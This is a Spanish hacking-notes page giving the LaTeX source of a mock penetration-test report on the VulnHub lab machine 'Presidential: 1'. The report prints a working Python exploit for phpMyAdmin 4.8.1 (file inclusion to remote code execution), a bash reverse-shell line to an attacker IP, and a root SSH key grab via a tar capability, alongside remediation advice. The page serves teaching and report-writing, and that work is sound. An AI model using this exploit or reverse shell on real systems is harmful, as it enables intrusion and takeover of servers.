> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/useful-resources/reporting/report-1-presidential-writeup-latex.md).

# Informe 1 - Redacción en LaTeX de Presidential

{% hint style="warning" %}
Aquí hay un ejemplo de un informe técnico profesional, simulando que trabajo para Orange Cyberdefense, relacionado con una auditoría ambiental y de empresa "[Presidencial](/es/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md)". Para este análisis, utilicé una máquina VulnHub preconfigurada con vulnerabilidades web y riesgos de escalada de privilegios.

El informe fue redactado utilizando el [LaTeX](https://www.overleaf.com/) software, reconocido por su complejidad técnica, pero también por su gran utilidad y su capacidad para producir informes de calidad profesional con gran libertad de personalización. A continuación encontrará el código LaTeX y el archivo PDF que ilustran este ejemplo.
{% endhint %}

{% file src="/files/94f54a25ab796d12e686d7a807a4e7adecc90747" %}

<div data-full-width="false"><figure><img src="/files/1e67a3c6d5766752230faefeb79ff64321145af7" alt=""><figcaption></figcaption></figure></div>

<details>

<summary>Configuración del entorno para generar archivos PDF desde LaTeX:</summary>

1. Comprobar la aplicación predeterminada para archivos PDF:

```bash
xdg-mime query default application/pdf
```

2. Establecer Zathura como aplicación predeterminada para archivos PDF:

```bash
xdg-mime default zathura.desktop application/pdf
```

3. Crear el archivo .tex para su documento:

```bash
touch presidential.tex
```

4. Compilar el documento:

```bash
latexmk -pdf presidential.tex -pvc
```

<img src="/files/de2da5e6a1ed611bc6c780222ce4a16fb0b13960" alt="" data-size="original">

</details>

{% code fullWidth="true" %}

```latex
/documentclass[a4paper]{article}

% Paquetes
/usepackage[utf8]{inputenc} % Codifique su texto en UTF-8
/usepackage[english]{babel} % Idioma inglés
/usepackage[margin=2cm, top=2cm, includefoot]{geometry} % Diseño de página
/usepackage{graphicx} % Para incluir imágenes
/usepackage[table,xcdraw]{xcolor} % Colores
/usepackage{tikz,lipsum,lmodern} % Dibujos
/usepackage[most]{tcolorbox} % Cajas personalizadas
/usepackage{fancyhdr} % Encabezados y pies de página
/usepackage[hidelinks]{hyperref} % Hipervínculos
/usepackage{setspace} % Espaciado entre líneas
/usepackage{listings} % Visualización del código fuente
/setstretch{1.2} % Interlineado
/usepackage{parskip} % Espaciado entre párrafos
/setlength{/parindent}{0pt} % Sin sangría de párrafo
/setlength{/parskip}{0.8em plus 0.5em minus 0.2em} % Espaciado entre párrafos
/setlength{/parfillskip}{/parindent plus 1fill} % Justificación del texto
/usepackage[figurename=Figure]{caption} % Etiqueta de figura
/usepackage{ragged2e} % Justificación del texto

% Variables
/newcommand{/logoPortada}{Images/vulnhub.png}
/newcommand{/machineName}{Presidencial: 1}
/newcommand{/logoMachine}{Images/casablanca.jpg}
/newcommand{/startDate}{21 de febrero de 2024}
/newcommand{/logoCompany}{Images/orange-company.png}
/newcommand{/logoPlatform}{Images/platform-vulnhub.png}

% Colores
/definecolor{bluePortada}{HTML}{146c8a}

% Personalización del título
/addto/captionsenglish{/renewcommand{/contentsname}{Contenido}}

% Encabezados y pies de página
/setlength{/headheight}{40.2pt}
/pagestyle{fancy}
/fancyhf{}
/lhead{/includegraphics[width=4cm]{/logoCompany}} % Logotipo de la empresa a la izquierda del encabezado
/rhead{/includegraphics[height=1.2cm]{/logoPlatform}} % Logotipo de la plataforma a la derecha del encabezado
/renewcommand{/headrulewidth}{3pt} % Anchura de la línea del encabezado
/renewcommand{/headrule}{/hbox to/headwidth{/color{orange}/leaders/hrule height /headrulewidth/hfill}} % Color de la línea del encabezado

% Configuración de los títulos del código fuente
/renewcommand{/lstlistingname}{Código}

% Estilos del código fuente
/definecolor{codegreen}{rgb}{0,0.6,0}
/definecolor{codegray}{rgb}{0.5,0.5,0.5}
/definecolor{codepurple}{rgb}{0.58,0,0.82}
/definecolor{backcolour}{rgb}{0.95,0.95,0.92}

/newtcolorbox{definicion}{
  breakable,
  enhanced,
  colback=white,
  colframe=bluePortada!75!black,
  arc=0mm,
  boxrule=1pt,
  leftrule=12mm,
  fonttitle=/bfseries,
  coltitle=blue!75!black,
  title=Definición,
  attach title to upper=/par,
}

/lstdefinestyle{mystyle}{
    backgroundcolor=/color{backcolour},   
    commentstyle=/color{codegreen}, % Color de los comentarios
    keywordstyle=/color{magenta}, % Color de las palabras clave
    numberstyle=/tiny/color{codegray}, % Estilo de los números de línea
    stringstyle=/color{codepurple}, % Color de las cadenas
    basicstyle=/ttfamily/footnotesize, % Estilo base del texto
    breakatwhitespace=false,         
    breaklines=true,                 
    captionpos=b,                    
    keepspaces=true,                 
    numbers=left,                    
    numbersep=5pt,                  
    showspaces=false,                
    showstringspaces=false,
    showtabs=false,                  
    tabsize=2
}

/lstset{style=mystyle} % Configuración global del estilo de código

% Inicio del documento
/begin{document}
/cfoot{/thepage} % Pie de página con el número de página
  /begin{titlepage} % Página de título
      /centering
      /includegraphics[width=0.5/textwidth]{/logoPortada}/par/vspace{1cm} % Logotipo de la página de título
{/scshape/LARGE /textbf{Informe técnico}/par/vspace{0.4cm}} % Título del informe
{/Huge/textcolor{bluePortada}{/textbf{Máquina /machineName}}} % Nombre de la máquina
      /vfill
/includegraphics[width=/textwidth, height=10cm, keepaspectratio]{/logoMachine} % Imagen de la máquina
      /vfill
/begin{tcolorbox}[colback=red!5!white,colframe=red!75!black] % Caja de privacidad
    /centering
Este documento es confidencial y contiene información sensible. // No debe imprimirse ni compartirse con terceros.
  /end{tcolorbox}
  /vfill
{/large /startDate/par} % Fecha del informe
  /vfill
  /end{titlepage}
% ------------------------------------------------------------------
% Inicio del índice
/clearpage
/tableofcontents % Índice
/clearpage

/section{Antecedentes}
Este documento presenta los resultados obtenidos durante la fase de auditoría realizada sobre la máquina /textbf{/machineName}, enumerando todos los vectores de ataque encontrados, así como la explotación llevada a cabo para cada uno de ellos.

Esta máquina fue descargada de la plataforma /href{https://www.vulnhub.com/}{/textbf{/color{bluePortada}Vulnhub}}, una plataforma de formación y práctica para personas interesadas en la seguridad informática y el hacking ético. A continuación se proporciona el enlace de descarga de esta máquina:

/vspace{0.2cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=URL de destino,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://www.vulnhub.com/entry/presidential-1,500/}{/textbf{/color{black}https://www.vulnhub.com/entry/presidential-1,500}}

/end{tcolorbox}

/vspace{0.5cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/presidential-image.png}}
/caption{Página principal del servicio web de la máquina}
/end{figure}
/vspace{1cm}
/section {Objetivos}
Los objetivos de esta auditoría de seguridad son identificar posibles vulnerabilidades y debilidades en la máquina /textbf{/color{bluePortada}/machineName}, con el fin de garantizar la integridad y la confidencialidad de la información almacenada en ella.

Con este objetivo, se llevó a cabo un análisis exhaustivo de todos los servicios detectados expuestos en este servidor, recopilando información detallada sobre aquellos que presentaban un riesgo potencial desde el punto de vista de la seguridad.
/clearpage

/subsection{Alcance}

A continuación se presentan los objetivos que se pretenden alcanzar con esta auditoría:

/begin{itemize}
/item Identificar puertos y servicios vulnerables.
/item Explotar las vulnerabilidades identificadas.
/item Obtener acceso al servidor explotando los servicios vulnerables identificados.
/item Enumerar posibles vías para escalar privilegios en el sistema una vez comprometido.
/end{itemize}

/subsection{Restricciones y limitaciones}

Durante el proceso de auditoría, está estrictamente prohibido realizar cualquiera de las siguientes actividades:

/begin{itemize}
/item Realizar tareas que puedan provocar una /textbf{denegación de servicio} o afectar a la disponibilidad de los servicios expuestos.
/item Eliminar archivos residentes en el servidor una vez comprometido.
/end{itemize}

/subsection{Resumen general}

Esta auditoría reveló numerosas vulnerabilidades de seguridad significativas que ponen en peligro la integridad y la confidencialidad de la información alojada en el servidor. Desde la exposición de archivos de copia de seguridad sensibles hasta la explotación de vulnerabilidades críticas en phpMyAdmin, se ha comprobado que el servidor es vulnerable a diversos ataques.

La identificación de subdominios, la enumeración de servicios expuestos y la explotación de paneles de autenticación débiles fueron puntos de entrada clave para los ataques realizados durante esta auditoría.

Es esencial tomar medidas inmediatas para abordar estas vulnerabilidades y mitigar los riesgos de seguridad. Se recomienda encarecidamente actualizar phpMyAdmin a la última versión e implementar medidas de seguridad adicionales, como restringir el acceso a archivos sensibles e implementar filtros de entrada adecuados en las aplicaciones web expuestas.

En resumen, esta auditoría destaca la importancia de mantener una postura proactiva de seguridad de los sistemas, realizando auditorías periódicas, aplicando parches de seguridad y siguiendo las mejores prácticas de ciberseguridad para proteger los activos digitales de una organización.

/clearpage
/section{Reconocimiento}
/subsection{Enumeración de servicios expuestos}
A continuación encontrará prueba de los puertos y servicios identificados durante el reconocimiento realizado con la herramienta /textbf{nmap}:
/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/ports.png}}
/caption{Enumeración de puertos con nmap}
/end{figure}

/vspace{0.3cm}
En este caso, se han identificado dos puertos activos utilizando el protocolo TCP:

/vspace{0.5cm}
/centering
/begin{tikzpicture}[node distance=2cm, every node/.style={rectangle, draw, fill=white}]

/node (center) {TCP};
/node (port1) [below left of=center, node distance=3cm] {Puerto 80};
/node (port2) [below right of=center, node distance=3cm] {Puerto 2082};
/draw (center) -- (port1);
/draw (center) -- (port2);

/end{tikzpicture}

/vspace{0.5cm}
/justifying

Asimismo, no se encontraron puertos expuestos a través de otros protocolos, por lo que se prioriza la evaluación de los puertos identificados en el primer escaneo.

/clearpage
/subsection{Enumeración de servidores web}

A continuación se muestran los resultados obtenidos con la herramienta /textbf{WhatWeb}, una herramienta de reconocimiento web utilizada para identificar tecnologías web específicas empleadas en un sitio web, tras realizar el reconocimiento del servicio HTTP que se ejecuta en el puerto 80.

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.90/paperwidth]{Images/whatweb.png}}}
/caption{Enumeración del servicio HTTP en el puerto 80}
/end{figure}

Los resultados obtenidos permiten identificar las versiones de algunas de las tecnologías existentes:

/vspace{0.4cm}

/centering
/begin{tabular}{ c | c }
/textbf{Tecnología} & /textbf{Versión} //
/hline
PHP & 5.5.38 //
Apache & 2.4.6
/end{tabular}
/vspace{0.4cm}

/justifying

Entre la información proporcionada, también es posible identificar 2 direcciones de correo electrónico, que podrían utilizarse en ataques de /textbf{phishing}:

/vspace{0.3cm}
/begin{center}
/texttt{contact@example.com} /qquad /texttt{contact@votenow.local}
/end{center}

/textbf{phishing} es un tipo de ataque informático utilizado para engañar a las personas con el fin de obtener información confidencial, como contraseñas, datos bancarios o detalles de tarjetas de crédito. El ataque se lleva a cabo enviando correos electrónicos o mensajes de texto fraudulentos que parecen legítimos y solicitan al destinatario que proporcione información personal y confidencial.

Además, también fue posible identificar la versión de /textbf{Centos} que está activa gracias a un reconocimiento exhaustivo realizado sobre el servicio web con la herramienta /textbf{wig}.

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/wig-results.png}}
/caption{Enumeración del servicio HTTP en el puerto 80}
/end{figure}
/clearpage

/subsection{Enumeración de subdominios}
Una vez identificado el dominio '/textbf{votenow.local}' a través de los correos electrónicos, se llevó a cabo un ataque de fuerza bruta sobre el dominio principal con el objetivo de identificar subdominios válidos.

Después de completar el ataque de fuerza bruta, estos son los resultados obtenidos:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/subdomain.png}}
/caption{Subdominios identificados con Gobuster}
/label{fig:identifiedSubdomains}
/end{figure}

/vspace{0.3cm}
Se ha identificado el subdominio '/textbf{datasafe.votenow.local}' como un subdominio válido. Este subdominio desempeñó un papel crucial en la auditoría, ya que fue a través de él como se obtuvo acceso al sistema explotando una vulnerabilidad presente en /textbf{phpMyAdmin}.

Tenga en cuenta que para que estos dominios y subdominios fueran accesibles, fue necesario añadir el siguiente contenido al archivo '/textbf{/etc/hosts}':

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.8/textwidth]{Images/virtualHosting.png}}
/caption{Contenido del archivo /etc/hosts}
/end{figure}
/vspace{0.3cm}
Esto se debe a la aplicación de '/textbf{virtual hosting}', una técnica utilizada en servidores web para alojar varios sitios web en una sola máquina física. El archivo '/textbf{/etc/hosts}' se utiliza para asociar el nombre de dominio de cada sitio web con la dirección IP del servidor.

Sin esta asociación, el servidor web no podrá determinar el sitio web correcto que debe servir, lo que dará lugar a un error o a la visualización de un sitio web incorrecto.
/clearpage
/subsection{Enumeración de paneles de autenticación}
Una vez descubierto el subdominio '/textbf{datasafe.votenow.local}', como se muestra en la imagen /ref{fig:identifiedSubdomains} en la página /pageref{fig:identifiedSubdomains}, se encontró el siguiente panel de autenticación de /textbf{phpMyAdmin}:

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/PhpMyAdmin.png}}
/caption{Panel de autenticación de phpMyAdmin}
/label{fig:PhpMyAdmin}
/end{figure}

/section{Identificación y explotación de vulnerabilidades}
/subsection{Exposición de un archivo de copia de seguridad}

Durante una fase de reconocimiento con la herramienta /textbf{gobuster}, una herramienta de línea de comandos de código abierto utilizada para buscar y enumerar recursos web en servidores y sitios web, se identificó en el servidor un archivo de copia de seguridad expuesto:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/BackUp.png}}
/caption{Archivo de copia de seguridad expuesto en el servidor}
/end{figure}

/clearpage

Este archivo se cargó para comprobar si contenía información sensible que pudiera representar un riesgo de seguridad. En este punto se determinó que el archivo contenía la siguiente información privilegiada:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/credentials.png}}
/caption{Contenido del archivo BackUp de credenciales}
/end{figure}

Estos identificadores corresponden a los identificadores de acceso a la base de datos, lo que permitió, debido a una reutilización del nombre de usuario y la contraseña, acceder a /textbf{phpMyAdmin} como se representa en la imagen /ref{fig:phpMyAdmin} en la página /pageref{fig:phpMyAdmin}.
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/phpmyadminIN.png}}
/caption{Conexión a la interfaz de control de phpMyAdmin}
/end{figure}

/clearpage
/subsection{Explotación de phpMyAdmin}
Una vez iniciado sesión en /textbf{phpMyAdmin}, fue posible identificar la versión actualmente en uso:

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.67/textwidth]{Images/versionPhpMyAdmin.png}}
/caption {Versión utilizada de phpMyAdmin}
/end{figure}

/vspace{0.3cm}
Esta versión corresponde a una /textbf{versión antigua} de phpMyAdmin, exponiendo así varias /textbf{vulnerabilidades críticas} identificadas:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/searchExploit.png}}
/caption {Vulnerabilidades de la versión de phpMyAdmin utilizada}
/end{figure}


/clearpage
Entre ellas, una puede permitir a un atacante malicioso /textbf{ejecutar código de forma remota} en el servidor.

A continuación, se muestra el script Python3 que se utilizó para ejecutar comandos remotos en el servidor:

/vspace{0.3cm}

/begin{lstlisting}[language=Python, caption=Exploit para la versión vulnerable de phpMyAdmin]
#!/usr/bin/python3

import re, requests, sys

def get_token(content):
  s = re.search('token"/s*value="(.*?)"', content)
  token = html.unescape(s.group(1))
  return token

ipaddr = sys.argv[1]
port = sys.argv[2]
path = sys.argv[3]
username = sys.argv[4]
password = sys.argv[5]
command = sys.argv[6]

url = "http://{}:{}{}".format(ipaddr,port,path)

url1 = url + "/index.php"
r = requests.get(url1)
content = r.content.decode('utf-8')

s = re.search('PMA_VERSION:"(/d+/./d+/./d+)"', content)
version = s.group(1)

cookies = r.cookies
token = get_token(content)

p = {'token': token, 'pma_username': username, 'pma_password': password}
r = requests.post(url1, cookies = cookies, data = p)
content = r.content.decode('utf-8')
s = re.search('logged_in:(/w+),', content)
logged_in = s.group(1)

cookies = r.cookies
token = get_token(content)

url2 = url + "/import.php"
payload = '''select '<?php system("{}") ?>';'''.format(command)
p = {'table':'', 'token': token, 'sql_query': payload }
r = requests.post(url2, cookies = cookies, data = p)

session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)

content = r.content.decode('utf-8', errors="replace")
s = re.search("select '(.*?)/n'", content, re.DOTALL)
if s != None:
  print(s.group(1))
/end{lstlisting}

/clearpage
Una vez realizada la ejecución e inyección de un comando que permite entrar en el sistema, se ha obtenido acceso al servidor:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/rce.png}}
/caption {Obtención de acceso al servidor mediante la explotación de phpMyAdmin}
/end{figure}

En este caso, se ejecuta un comando a través de '/textbf{curl}', interpretando un script Bash que contiene el siguiente contenido:

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=Script Bash encargado de establecer la conexión]
bash -i >& /dev/tcp/192.168.71.128/443 0>&1
/end{lstlisting}

Este script está alojado en el servidor del atacante, evitando así dejar archivos residuales en el servidor de destino. Una vez ejecutado el comando, el atacante obtiene acceso al servidor, teniendo el control de la máquina en este caso, como usuario '/textbf{apache}'.

Como puede verse en el script, básicamente lo que ocurre es que el script explota una vulnerabilidad /textbf{LFI} presente en esta versión de phpMyAdmin para lograr la ejecución remota de comandos:

/vspace{0.3cm}
/begin{lstlisting}[language=Python, caption=Fragmento de código relacionado con la explotación de LFI]
session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)
/end{lstlisting}
/vspace{0.3cm}
/begin{definicion}
LFI (Local File Inclusion) es una vulnerabilidad de seguridad en aplicaciones web que permite a un atacante acceder a archivos locales del servidor mediante la inclusión de archivos locales en una página web.
/end{definicion}
/clearpage

A través del LFI obtenemos información sobre un recurso PHP que almacena sesiones, representando información relacionada con las distintas sesiones activas del lado de los usuarios.

Al explotar esta lectura y la propia sesión del usuario, utilizamos una /textbf{consulta SQL} para insertar una consulta que contiene código PHP, visible desde los archivos de sesión del usuario a través del LFI. Esto conduce, por tanto, a la ejecución remota de comandos, porque el código PHP no es interpretado por el servidor.

/section{Escalada de privilegios}
Una vez comprometido todo el sistema, el objetivo principal será ahora obtener los privilegios más altos posibles en el servidor. Con el objetivo de aumentar nuestros permisos y obtener mayor control y acceso a todos los servicios expuestos.
/subsection{Migración al usuario Administrador}
En el servidor existe un usuario Administrador que parece estar bien configurado, ya que tenemos /textbf{acceso restringido} desde el usuario apache.
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/directori-admin.png}}
/caption {Acceso denegado al directorio principal de Admin}
/end{figure}

Sin embargo, en la base de datos previamente comprometida aparece una contraseña hash con el mismo nombre de usuario que ese usuario. Reutilizar contraseñas para un usuario es algo crítico y en este caso daría lugar a la migración directa del usuario.
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/hash-password.png}}
/caption {Contraseña hash almacenada en la base de datos del usuario admin}
/end{figure}
/clearpage
/subsection{Descifrado de la contraseña hash expuesta del usuario admin}
Como la contraseña está hasheada, utilizaremos la herramienta '/textbf{john}' para romper el hash de la contraseña de admin con el fin de descifrarla y verla en texto plano. En este caso, se utilizó un diccionario que contenía más de diez millones de combinaciones diferentes y, como la contraseña no es muy compleja, la herramienta tardó unos minutos en descifrarla y exponerla.
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/pass-cracked.png}}
/caption {Contraseña descifrada en texto plano del usuario admin}
/end{figure}
/vspace{0.3cm}
/newline La migración al usuario admin fue posible debido a la /textbf{reutilización de la misma contraseña} para el usuario admin tanto en la base de datos como en el usuario del sistema. Esto es una mala práctica y se recomienda tener una contraseña diferente para cada servicio distinto para evitar problemas críticos como en este caso.
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/admin-access.png}}
/caption {Acceso al directorio del usuario privilegiado admin}
/end{figure}
/clearpage
/subsection{Vulnerabilidad de capacidades de permisos que expone la clave SSH}
/vspace{0.3cm}
/begin{definicion}
Las capacidades en Linux son un mecanismo de seguridad que concede privilegios específicos a los programas, permitiendo operaciones restringidas sin necesidad de conceder acceso root completo.
/end{definicion}
En este caso, se encontró un permiso de capacidad que permitía, con la herramienta tarS, ver todos los archivos del sistema sin ninguna regla ni bloqueo, ya que se realizaban desde el usuario root. Aprovechando este permiso, se listó la /textbf{clave privada SSH} del usuario root con el siguiente comando:

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=]
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
/end{lstlisting}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.50/paperwidth]{Images/ssh-clave.png}}}
/caption {Clave privada SSH del usuario root}
/end{figure}
/subsection{Acceso root al sistema}
Finalmente, se obtuvo acceso a la máquina con privilegios root. Existe una necesidad urgente de eliminar la capacidad de la herramienta tarS y encontrar una alternativa que no permita esta escalada de privilegios.
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.60/paperwidth]{Images/flag-root.png}}}
/caption {Obtención de la bandera del usuario root}
/end{figure}
/clearpage
/section{Contramedidas y buenas prácticas}

Con el fin de evitar una posible explotación no deseada en el servidor expuesto, a continuación se enumeran las mejores prácticas a seguir para las distintas vulnerabilidades descubiertas.

/subsection{Vulnerabilidad de phpMyAdmin 4.8.1}
phpMyAdmin es una herramienta muy popular para gestionar bases de datos MySQL a través de una interfaz web. Sin embargo, la versión 4.8.1 de phpMyAdmin tiene vulnerabilidades conocidas que pueden permitir a un atacante ejecutar código arbitrario en el servidor web donde está alojada.

Para corregir esta vulnerabilidad, es necesario /textbf{actualizar} a la versión más reciente de phpMyAdmin (actualmente la versión 5.2.1). Si por alguna razón no es posible actualizar a la última versión, hay algunas medidas que se pueden tomar para mitigar el riesgo de explotación:
/begin{itemize}
/item Corregir el código del script '/textbf{index.php}' para que la variable '/textbf{target}' proporcionada por el usuario esté correctamente controlada.
/end{itemize}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/lfi_in_code.png}}
/caption {Parámetro objetivo vulnerable}
/end{figure}

/begin{itemize}
/item En lugar de permitir que el usuario especifique cualquier archivo para incluir, defina una lista de archivos permitidos y verifique que el valor pasado al parámetro '/textbf{target}' esté en la lista antes de incluir el archivo.
/end{itemize}

/subsection{Escalada de privilegios por capacidades}
Primero, elimine la capacidad de la herramienta tarS. Para corregir y comprobar si un servicio o herramienta es vulnerable a esta escalada de privilegios, puede visitar el siguiente sitio web, que contiene un motor de búsqueda con todas las posibles vulnerabilidades sobre este tema:
/vspace{0.3cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=URL de destino,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://gtfobins.github.io/}{/textbf{/color{black}https://gtfobins.github.io}}
/end{tcolorbox}

/clearpage
/section{Conclusiones}
La auditoría de seguridad realizada en la máquina /textbf{Presidential: 1} reveló una serie de vulnerabilidades críticas que ponen en peligro la integridad y la confidencialidad de la información alojada en el servidor. Desde la divulgación de archivos sensibles hasta la explotación de vulnerabilidades en phpMyAdmin, se ha puesto de relieve la importancia de mantener todos los componentes del sistema actualizados y de seguir buenas prácticas de seguridad.

La explotación exitosa de la vulnerabilidad en phpMyAdmin permitió a los atacantes acceder al servidor y escalar sus privilegios hasta el usuario administrador, comprometiendo así todo el sistema. Esto resalta la importancia de implementar medidas de seguridad proactivas, como actualizar el software regularmente, una correcta gestión de contraseñas y la supervisión continua del servidor.

Para protegerse contra futuros ataques, se recomienda encarecidamente implementar las contramedidas mencionadas anteriormente y seguir las mejores prácticas de ciberseguridad. La seguridad debe ser una preocupación constante y prioritaria para garantizar la protección de los activos digitales y la continuidad del negocio.

/end{document}
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/useful-resources/reporting/report-1-presidential-writeup-latex.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
